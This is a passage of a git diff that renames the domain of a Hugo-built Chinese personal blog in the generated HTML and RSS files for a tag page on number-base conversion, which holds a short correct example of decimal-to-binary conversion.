51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="进制转换"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="进制转换"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>进制转换</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>进制转换 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="进制转换"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="进制转换"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>进制转换</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
 十进制（整数）转二进制一般使用"除2取余，逆序排列"法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -8,7 +8,7 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://xiaochenabc123.github.io/posts/43/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://chenjunlinabc.github.io/posts/43/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.xml" "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.xml"
index c8e34e3b..d713e890 100644
--- "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.xml"
+++ "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>进制转换 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</link>
     <description>Recent content in 进制转换 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Jun 2021 20:07:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Jun 2021 20:07:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>一些常用的进制转换方法</title>
-      <link>https://xiaochenabc123.github.io/posts/43/</link>
+      <link>https://chenjunlinabc.github.io/posts/43/</link>
       <pubDate>Sun, 20 Jun 2021 20:07:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/43/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/43/</guid>
       <description>除2取余，逆序排列
 十进制（整数）转二进制一般使用&amp;quot;除2取余，逆序排列&amp;quot;法：
 1.先使用2整除2进制，得到商和余数
diff --git "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/page/1/index.html" "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/page/1/index.html"
index ae01cdfd..e0821e3d 100644
--- "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/page/1/index.html"
+++ "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/"></head></html>
\ No newline at end of file